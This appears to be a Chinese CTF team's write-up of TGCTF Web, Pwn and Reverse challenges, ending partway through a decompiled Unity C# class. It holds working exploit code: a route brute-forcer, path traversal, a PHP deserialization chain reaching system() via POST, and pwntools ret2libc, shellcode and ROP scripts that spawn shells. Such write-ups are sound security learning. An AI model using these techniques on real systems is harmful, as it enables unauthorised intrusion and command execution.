这次是和徐师傅,顾师傅,梁师傅一起打的,各方向都写在一起了,距离五十名只差一步之遥,还是我技术不够精湛的原因
Web
这次TGCTF Web方面给了我很大的挫败感,感觉对很多知识的了解都非常浅薄,一直做不出题,还是要下苦功夫精进技术
火眼辩魑魅
这道题很简单的签到题,dirsearch 扫一下得到几个文件路径,真正能打通的是 shell.php ,直接蚁剑连接,在根目录下找到 flag
AAA偷渡阴平
无参RCE
可以看看这篇
无参数RCE绕过的详细总结(六种方法)
直面天命
这道题很好玩
一开始看出来是 SSTI ,但是拼尽全力无法注入。
F12看网页源码,提示不止一个路由,进 /hint 看看
提示有四个字母的路由,写个脚本爆破一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
python
# 路由爆破脚本
import sys
import requests
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from itertools import product
def generate_four_letter_paths():
"""生成所有四个小写字母的组合(如 aaaa, aaab, ..., zzzz)"""
letters = 'abcdefghijklmnopqrstuvwxyz'
for chars in product(letters, repeat=4):
yield ''.join(chars)
def check_url(base_url, path, results):
full_url = f"{base_url}/{path}"
try:
response = requests.get(
full_url,
timeout=3,
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0'},
allow_redirects=False # 避免重定向干扰状态码判断
)
if response.status_code == 200:
results.append(full_url)
print(f"[+] {full_url} - {response.status_code}")
except requests.exceptions.RequestException as e:
pass # 忽略超时、连接错误等异常
def main():
parser = argparse.ArgumentParser(description='四字母路径爆破工具')
parser.add_argument('target', help='目标URL(如 http://example.com)')
parser.add_argument('-t', '--threads', type=int, default=50,
help='线程数(默认50)')
parser.add_argument('-o', '--output', help='输出结果文件')
args = parser.parse_args()
base_url = args.target.rstrip('/')
results = []
# 生成所有四个小写字母的组合
paths = generate_four_letter_paths()
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = []
for path in paths:
futures.append(executor.submit(check_url, base_url, path, results))
# 实时更新进度(可选)
total = 26 ** 4 # 总共有26^4=456,976种组合
completed = 0
for _ in as_completed(futures):
completed += 1
if completed % 1000 == 0:
print(f"进度:{completed}/{total}", end='\r')
print("\n爆破完成!找到以下有效路径:")
for url in results:
print(url)
if args.output:
with open(args.output, 'w') as f:
for url in results:
f.write(f"{url}\n")
print(f"结果已保存到 {args.output}")
if __name__ == '__main__':
print("警告:请确保您已获得目标网站的合法授权!")
main()
|
爆破出 /aazz 路由,进去 F12 看看,说是可以传参看源码(又要爆吗 QAQ ),后面问出题人说可以传 filename ,
然后GET传 filename=../app.py 看看源码(提示看源码)
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
|
python
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key # 潜在风险:secret_key可能暴露在源码中
app = Flask(__name__)
# 安全风险:黑名单不完整,可能被绕过
black_list = ['{', '}', 'popen', 'os', 'import', 'eval', '_', 'system', 'read', 'base', 'globals']
def waf(name):
"""基础WAF过滤"""
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
"""检查字符是否可打印"""
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
@app.route('/')
def home():
"""首页路由"""
return send_from_directory('static', 'index.html')
@app.route('/jingu', methods=['POST'])
def greet():
"""核心处理路由(存在严重漏洞)"""
template1 = ""
template2 = ""
name = request.form.get('name')
template = f'{name}'
# WAF过滤
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹\nImage'
else:
# 检查字符是否可打印
k = 0
for i in name:
if not is_typable(i):
k = 1
break
if k == 1:
# 检查是否包含secret_key前缀(逻辑缺陷)
if not (secret_key[:2] in name and secret_key[2:]):
return render_template_string('连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧\n\n再去西行历练历练\nImage')
# 模板注入漏洞:替换为{{}}语法
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”\n最后,如果你用了cat,就可以见到齐天大圣了\n"
template = template.replace("直面", "{{").replace("天命", "}}")
# 检查cat关键词
if "cat" in template:
template2 = '\n或许你这只叫天命人的猴子,真的能做到?\nImage'
# 渲染模板(存在注入风险)
try:
return template1 + render_template_string(template) + render_template_string(template2)
except Exception as e:
return f"500报错了,查询语句如下:\n{template}", 400
@app.route('/hint', methods=['GET'])
def hinter():
"""提示路由"""
return render_template_string("hint:\n有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!")
@app.route('/aazz', methods=['GET'])
def finder():
"""文件读取路由(存在路径遍历漏洞)"""
filename = request.args.get('filename', '')
# 初始处理
if not filename:
return send_from_directory('static', 'file.html')
# 文件名检查(逻辑错误:原代码存在语法问题)
if not filename.replace('_', '').isalnum():
return jsonify({'error': '只允许字母和数字!'}), 400
# 路径遍历漏洞:直接使用用户输入的filename
if os.path.isfile(filename):
try:
with open(filename, 'r') as file:
content = file.read()
return content
except Exception as e:
return jsonify({'error': str(e)}), 500
else:
return jsonify({'error': '路径不存在或者路径非法'}), 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
|
这道题本来是考SSTI的,但怎么都绕不过防火墙,但有非预期解
我们知道 /aazz 目录下可以传参读取文件的
我们直接读flag:
Payload: http://node1.tgctf.woooo.tech:30904/aazz?filename=flag
读到flag
直面天命(复仇)
这道题我没做出来,把源码放在这方便后面复现
复仇直接ban了传参读文件功能,直接回显源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
python
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key
app = Flask(__name__)
black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
@app.route('/')
def home():
return send_from_directory('static', 'index.html')
@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧
再去西行历练历练
Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?
Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400
@app.route('/hint', methods=['GET'])
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)
@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
|
很难绕的 SSTI 一直在爆500错误
什么文件上传?
打开以为是文件上传,但是传什么文件都不行,F12看一眼,提示“机器人是什么”
到robots协议里看一眼:
1
2
3
4
5
6
7
8
9
|
User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.php
|
进 class.php
发现是PHP反序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
php
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>
|
要解决这道题,需要构造一个反序列化链,触发future类的__toString方法以执行任意命令。
步骤解析
-
1.触发析构函数:
1
2
3
|
当yesterday对象被销毁时,其__destruct方法会调用$this->study->hard()。
将yesterday的study属性设为today对象,触发today的__call方法。
|
-
2.调用魔术方法:
1
2
3
|
today的__call方法在调用不存在的方法(如hard)时触发。
此时会检查$this->doing的两次MD5哈希是否等于666。
|
-
3.绕过条件检查:
1
2
3
|
即使条件不满足,只要$this->doing是future对象,在计算MD5时会将其转换为字符串,触发__toString方法。
future的__toString执行system($_POST['wow']),直接执行任意命令。
|
Payload 生成代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
php
<?php
class yesterday { public $study; }
class today { public $doing; }
class future {}
$future = new future();
$today = new today();
$today->doing = $future;
$yesterday = new yesterday();
$yesterday->study = $today;
$payload = serialize($yesterday);
for ($i = 0; $i < 5; $i++) {
$payload = base64_encode($payload);
}
echo $payload . '.txt'; // 触发反序列化
?>
|
GET方式传Payload,POST方式传递命令wow=cat /flag
得到flag
PWN
保护只开了NX,ret2libc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
c
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[112]; // [rsp+0h] [rbp-70h] BYREF
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts(
"As a student who has been learning pwn for half a year\n"
"basic ROP is an essential skill that everyone should master. \n"
"Therefore, hurry up and complete the check-in. \n"
"Welcome to the Hangzhou Normal University CTF competition, please leave your name.");
gets(v4);
return 0;
}
|
先泄露puts地址得到基址再调用system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
python
from pwn import*
#p=process("./pwn")
p=remote("node1.tgctf.woooo.tech",30372)
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
pop_rdi_ret=0x401176
ret=0x40101a
main=0x401178
p.recvuntil(b"name.")
pl1=b'a'*0x78+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) #0x70
p.sendline(pl1)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr)) #0x7fe6ca5e2e50
libcbase=puts_addr-libc.symbols["puts"]
print(hex(libcbase)) #0x7fe6ca562000
system=libcbase+libc.symbols["system"]
binsh=libcbase+next(libc.search(b"/bin/sh"))
pl2=b'a'*0x78+p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
#pl2=b'a'*0x78+p64(pop_rdi_ret)+p64(binsh)+p64(system)
p.sendline(pl2)
p.interactive()
|
pl1:
(调用mprotect修改权限,再调用)
mov dl,7
mov sil,0xff
mov al,0xa
syscall
(调用read,将要向缓冲区读取shellcode)
xor edi,edi
xor edx,esi
xchg rsi,rcx
syscall
pl2:
nop*0x10
add rsi,0x20f
mov rsp,rsi
shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
python
from pwn import *
#p=process('./pwn')
context(log_level='debug',arch='amd64',os='linux')
p=remote("node2.tgctf.woooo.tech",32130)
#shellcode="\x99\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x48\x89\xE7\xB0\x3B\x0F\x05"
#shellcode="\x48\x87\xFC\xBF\x73\x68\x00\x00\x57\x54\x5F\xB0\x3B\x0F\x05"
pl1="\xB2\x07\x40\xB6\xFF\xB0\x0A\x0F\x05\x31\xFF\x31\xF2\x48\x87\xCE\x0F\x05"
p.send(pl1)
pause()
pl2=b"\x90"*0x10+b"\x48\x81\xC6\x0F\x02\x00\x00\x48\x89\xF4"+asm(shellcraft.sh())
p.send(pl2)
p.interactive()
|
题目在ret之前通过lea esp, [ebp-8] pop ecx lea esp, [ecx-4]调整了栈帧,因此我们通过溢出将rsp控制到bss段,在bss段写入rop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
python
from pwn import *
context(log_level='debug',os='linux')
p=process("./pwn")
#p=remote("node1.tgctf.woooo.tech",31248)
eax_add=0x80b470a
ebx_add=0x08049022
ecx_add=0x08049802
edx_add=0x08060bd1
int80=0x08049c6a
name=0x080EF320
gdb.attach(p)
pause()
p.recvuntil(b"me?")
p.send(b"/bin/sh\x00"+b'a'*8+p32(ebx_add)+p32(name)+p32(ecx_add)+p32(0)+p32(edx_add)+p32(0)+p32(eax_add)+p32(0xb)+p32(int80))
p.recvuntil("right?")
pl=b'a'*200+p32(0x080EF334)
p.sendline(pl)
p.interactive()
|
Reverse
deepseek用得好,逆向工程难不倒(bushi)
Base64
题目提示是base64算法,进IDA看看伪C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
c
nt __fastcall main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx
__int64 v4; // rcx
void *v5; // rbx
char Destination[16]; // [rsp+20h] [rbp-28h] BYREF
sub_140001020("Welcome to HZNUCTF!!!\n");
sub_140001020("Plz input your flag:\n");
v3 = (char *)malloc('*');
sub_140001080("%s");
v4 = -1i64;
do
++v4;
while ( v3[v4] );
if ( v4 == 41 )
{
strncpy_s(Destination, 9ui64, v3, 8ui64);
Destination[8] = 0;
if ( !strcmp(Destination, "HZNUCTF{") )
{
v5 = (void *)sub_1400010E0(v3);
if ( !strcmp((const char *)v5, "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=") )
{
sub_140001020("Congratulation!!!");
free(v5);
exit(1);
}
sub_140001020("wrong_wrong!!!");
free(v5);
exit(1);
}
sub_140001020("wrong head!!!");
free(v3);
exit(1);
}
sub_140001020("wrong len!!!");
free(v3);
return 0;
}
|
进sub_1400010E0看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
|
c
_BYTE *__fastcall sub_1400010E0(__int64 a1)
{
__int64 v2; // rbx
__int64 v3; // rbp
int v4; // edx
int v5; // edi
int v6; // edx
__int64 v7; // r14
size_t v8; // rcx
_BYTE *v9; // r8
__int64 v10; // r9
unsigned __int64 v11; // rdx
int v12; // ecx
unsigned int v13; // ecx
unsigned int v14; // eax
int v15; // eax
int v16; // eax
int v17; // eax
int v18; // edi
__int64 v19; // rdx
int v20; // eax
int v21; // eax
int v22; // ecx
unsigned int v23; // edx
int v24; // ecx
int v25; // eax
int v26; // ecx
unsigned int v27; // ecx
unsigned int v28; // eax
char v30[80]; // [rsp+20h] [rbp-68h] BYREF
int v31; // [rsp+90h] [rbp+8h]
v2 = -1i64;
strcpy(v30, "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI");
do
++v2;
while ( *(_BYTE *)(a1 + v2) );
v3 = 0i64;
v4 = (int)v2 / 3;
if ( (_DWORD)v2 == 3 * ((int)v2 / 3) )
{
v5 = 0;
v6 = 4 * v4;
}
else if ( (int)v2 % 3 == 1 )
{
v5 = 1;
v6 = 4 * v4 + 4;
}
else if ( (int)v2 % 3 == 2 )
{
v5 = 2;
v6 = 4 * v4 + 4;
}
else
{
v5 = v31;
v6 = v31;
}
v7 = v6;
v8 = v6 + 1i64;
if ( v6 == -1i64 )
v8 = -1i64;
v9 = malloc(v8);
if ( (int)v2 - v5 > 0 )
{
v10 = a1 + 2;
v11 = ((int)v2 - v5 - 1i64) / 3ui64 + 1;
do
{
v3 += 4i64;
v12 = *(unsigned __int8 *)(v10 - 2) >> 2;
v10 += 3i64;
v13 = v12 + 24;
v14 = v13 - 64;
if ( v13 <= 0x40 )
v14 = v13;
v9[v3 - 4] = v30[v14];
v15 = ((*(unsigned __int8 *)(v10 - 4) >> 4) | (16 * (*(_BYTE *)(v10 - 5) & 3))) - 40;
if ( ((*(unsigned __int8 *)(v10 - 4) >> 4) | (16 * (*(_BYTE *)(v10 - 5) & 3u))) + 24 <= 0x40 )
v15 = ((*(unsigned __int8 *)(v10 - 4) >> 4) | (16 * (*(_BYTE *)(v10 - 5) & 3))) + 24;
v9[v3 - 3] = v30[v15];
v16 = ((*(unsigned __int8 *)(v10 - 3) >> 6) | (4 * (*(_BYTE *)(v10 - 4) & 0xF))) - 40;
if ( ((*(unsigned __int8 *)(v10 - 3) >> 6) | (4 * (*(_BYTE *)(v10 - 4) & 0xFu))) + 24 <= 0x40 )
v16 = ((*(unsigned __int8 *)(v10 - 3) >> 6) | (4 * (*(_BYTE *)(v10 - 4) & 0xF))) + 24;
v9[v3 - 2] = v30[v16];
v17 = (*(_BYTE *)(v10 - 3) & 0x3F) - 40;
if ( (*(_BYTE *)(v10 - 3) & 0x3Fu) + 24 <= 0x40 )
v17 = (*(_BYTE *)(v10 - 3) & 0x3F) + 24;
v9[v3 - 1] = v30[v17];
--v11;
}
while ( v11 );
}
v18 = v5 - 1;
if ( !v18 )
{
v25 = (*(unsigned __int8 *)((int)v2 + a1 - 1) >> 2) - 40;
if ( (*(unsigned __int8 *)((int)v2 + a1 - 1) >> 2) + 24 <= 0x40u )
v25 = (*(unsigned __int8 *)((int)v2 + a1 - 1) >> 2) + 24;
v9[v7 - 4] = v30[v25];
v26 = *(_BYTE *)((int)v2 + a1 - 1) & 3;
*(_WORD *)&v9[v7 - 2] = 15677;
v27 = 16 * v26 + 24;
v28 = v27 - 64;
if ( v27 <= 0x40 )
v28 = v27;
v9[v7 - 3] = v30[v28];
goto LABEL_37;
}
if ( v18 != 1 )
{
LABEL_37:
v9[v7] = 0;
return v9;
}
v19 = a1 + (int)v2;
v20 = (*(unsigned __int8 *)(v19 - 2) >> 2) - 40;
if ( (*(unsigned __int8 *)(v19 - 2) >> 2) + 24 <= 0x40u )
v20 = (*(unsigned __int8 *)(v19 - 2) >> 2) + 24;
v9[v7 - 4] = v30[v20];
v21 = ((*(unsigned __int8 *)(v19 - 1) >> 4) | (16 * (*(_BYTE *)(v19 - 2) & 3))) - 40;
if ( ((*(unsigned __int8 *)(v19 - 1) >> 4) | (16 * (*(_BYTE *)(v19 - 2) & 3u))) + 24 <= 0x40 )
v21 = ((*(unsigned __int8 *)(v19 - 1) >> 4) | (16 * (*(_BYTE *)(v19 - 2) & 3))) + 24;
v9[v7 - 3] = v30[v21];
v22 = *(_BYTE *)(v19 - 1) & 0xF;
*(_WORD *)&v9[v7 - 1] = 61;
v23 = 4 * v22 + 24;
v24 = 4 * v22 - 40;
if ( v23 <= 0x40 )
v24 = v23;
v9[v7 - 2] = v30[v24];
return v9;
}
|
我们看到魔改的base64编码表 GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI
通过读源码我们得知,程序将输入的flag使用自定义的base64编码表进行加密,得到字符串 AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=
我们逆向逻辑编写脚本得到flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
python
import base64
def custom_b64decode(encoded_str):
# 自定义编码表
table = "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI"
# 创建解码字典:字符 -> (原始值 -24) mod 64
decode_table = {c: (i - 24) % 64 for i, c in enumerate(table)}
# 处理填充并分割成4字符一组
pad = 0
if encoded_str.endswith('=='):
pad = 2
encoded_str = encoded_str[:-2] + 'AA' # 替换填充为可处理的字符
elif encoded_str.endswith('='):
pad = 1
encoded_str = encoded_str[:-1] + 'A' # 替换填充
# 转换为二进制值列表
decoded_values = []
for c in encoded_str:
decoded_values.append(decode_table.get(c, 0)) # 未知字符视为0
# 将4个6位值转换为3个字节
result = bytearray()
for i in range(0, len(decoded_values), 4):
chunk = decoded_values[i:i + 4]
if len(chunk) < 4:
chunk += [0] * (4 - len(chunk))
# 合并成24位整数
val = (chunk[0] << 18) | (chunk[1] << 12) | (chunk[2] << 6) | chunk[3]
# 拆分为3字节
bytes_group = [
(val >> 16) & 0xFF,
(val >> 8) & 0xFF,
val & 0xFF
]
# 处理填充截断
if i == len(decoded_values) - 4:
if pad == 1:
bytes_group = bytes_group[:2]
elif pad == 2:
bytes_group = bytes_group[:1]
result.extend(bytes_group)
return bytes(result)
# 目标加密后的Base64字符串
encoded = "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF="
flag = custom_b64decode(encoded)
print(flag)
|
得到flag
水果忍者
很熟悉的水果忍者小游戏,许多年之后,面对Unity逆向坐牢,我将会回想起,我在卧室偷偷用家长手机玩游戏的那个遥远的晚上(bushi)。
用 dnSpy打开,定位到 Assembly_CSharp -> GameManager
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
|
c#
using System;
using System.Collections;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using UnityEngine;
using UnityEngine.UI;
// Token: 0x02000005 RID: 5
[DefaultExecutionOrder(-1)]
public class GameManager : MonoBehaviour
{
// Token: 0x17000003 RID: 3
// (get) Token: 0x06000013 RID: 19 RVA: 0x00002351 File Offset: 0x00000551
// (set) Token: 0x06000014 RID: 20 RVA: 0x00002358 File Offset: 0x00000558
public static GameManager Instance { get; private set; }
// Token: 0x17000004 RID: 4
// (get) Token: 0x06000015 RID: 21 RVA: 0x00002360 File Offset: 0x00000560
// (set) Token: 0x06000016 RID: 22 RVA: 0x00002368 File Offset: 0x00000568
public int score { get; private set; }
// Token: 0x06000017 RID: 23 RVA: 0x00002371 File Offset: 0x00000571
private void Awake()
{
if (GameManager.Instance != null)
{
Object.DestroyImmediate(base.gameObject);
return;
}
GameManager.Instance = this;
}
// Token: 0x06000018 RID: 24 RVA: 0x00002392 File Offset: 0x00000592
private void OnDestroy()
{
if (GameManager.Instance == this)
{
GameManager.Instance = null;
}
}
// Token: 0x06000019 RID: 25 RVA: 0x000023A7 File Offset: 0x000005A7
private void Start()
{
this.NewGame();
}
// Token: 0x0600001A RID: 26 RVA: 0x000023B0 File Offset: 0x000005B0
private void NewGame()
{
Time.timeScale = 1f;
this.ClearScene();
this.blade.enabled = true;
this.spawner.enabled = true;
this.score = 0;
this.scoreText.text = this.score.ToString();
if (this.decryptedTextDisplay != null)
{
this.decryptedTextDisplay.text = "";
}
}
// Token: 0x0600001B RID: 27 RVA: 0x00002424 File Offset: 0x00000624
private void ClearScene()
{
Fruit[] array = Object.FindObjectsOfType<Fruit>();
for (int i = 0; i < array.Length; i++)
{
Object.Destroy(array[i].gameObject);
}
Bomb[] array2 = Object.FindObjectsOfType<Bomb>();
for (int i = 0; i < array2.Length; i++)
{
Object.Destroy(array2[i].gameObject);
}
}
// Token: 0x0600001C RID: 28 RVA: 0x00002474 File Offset: 0x00000674
public void IncreaseScore(int points)
{
this.score += points;
this.scoreText.text = this.score.ToString();
if (this.score >= 999999999)
{
byte[] cipherText = this.ConvertHexStringToByteArray(GameManager.encryptedHexData);
string text = this.Decrypt(cipherText, GameManager.encryptionKey, GameManager.iv);
if (this.decryptedTextDisplay != null)
{
this.decryptedTextDisplay.text = text;
}
}
else if (this.decryptedTextDisplay != null)
{
this.decryptedTextDisplay.text = "";
}
float num = PlayerPrefs.GetFloat("hiscore", 0f);
if ((float)this.score > num)
{
num = (float)this.score;
PlayerPrefs.SetFloat("hiscore", num);
}
}
// Token: 0x0600001D RID: 29 RVA: 0x0000253C File Offset: 0x0000073C
private byte[] ConvertHexStringToByteArray(string hex)
{
int length = hex.Length;
byte[] array = new byte[length / 2];
for (int i = 0; i < length; i += 2)
{
array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
}
return array;
}
// Token: 0x0600001E RID: 30 RVA: 0x0000257C File Offset: 0x0000077C
private string Decrypt(byte[] cipherText, string key, string iv)
{
string result;
using (Aes aes = Aes.Create())
{
aes.Key = Encoding.UTF8.GetBytes(key);
aes.IV = Encoding.UTF8.GetBytes(iv);
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream(cipherText))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader(cryptoStream))
{
result = streamReader.ReadToEnd();
}
}
}
}
return result;
}
// Token: 0x0600001F RID: 31 RVA: 0x00002658 File Offset: 0x00000858
public void Explode()
{
this.blade.enabled = false;
this.spawner.enabled = false;
base.StartCoroutine(this.ExplodeSequence());
}
// Token: 0x06000020 RID: 32 RVA: 0x0000267F File Offset: 0x0000087F
private IEnumerator ExplodeSequence()
{
float elapsed = 0f;
float duration = 0.5f;
while (elapsed < duration)
{
float num = Mathf.Clamp01(elapsed / duration);
this.fadeImage.color = Color.Lerp(Color.clear, Color.white, num);
Time.timeScale = 1f - num;
elapsed += Time.unscaledDeltaTime;
yield return null;
}
yield return new WaitForSecondsRealtime(1f);
this.NewGame();
elapsed = 0f;
while (elapsed < duration)
{
float t = Mathf.Clamp01(elapsed / duration);
this.fadeImage.color = Color.Lerp(Color.white, Color.clear, t);
elapsed += Time.unscaledDeltaTime;
yield return null;
}
yield break;
}
// Token: 0x0400000F RID: 15
[SerializeField]
private Blade blade;
// Token: 0x04000010 RID: 16
[SerializeField]
private Spawner spawner;
// Token: 0x04000011 RID: 17
[SerializeField]
private Text scoreText;
// Token: 0x04000012 RID: 18
[SerializeField]
private Image fadeImage;
// Token: 0x04000013 RID: 19
[Header("Decrypted Text Display")]
[SerializeField]
private Text decryptedTextDisplay;
// Token: 0x04000015 RID: 21
